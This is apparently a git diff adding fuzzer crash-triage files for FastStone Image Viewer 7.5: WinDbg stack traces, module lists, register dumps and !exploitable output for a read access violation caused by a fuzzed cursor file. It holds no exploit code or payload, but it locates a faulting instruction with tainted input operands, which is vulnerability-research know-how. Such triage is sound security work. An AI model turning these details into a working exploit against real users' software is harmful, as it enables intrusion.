0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00366000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00366000 2cb6d8a3 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00366000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c9bd847 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fcc40aa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..658fde3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ce0.1f48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=07ec7b10 edx=00003879 esi=ffb30010 edi=0fc02fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.07389e-017 -6.14522e+018 3.57577e-037 1.00975e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0030d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0030d000 58e383e1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0030d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..658fde3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ce0.1f48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=07ec7b10 edx=00003879 esi=ffb30010 edi=0fc02fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 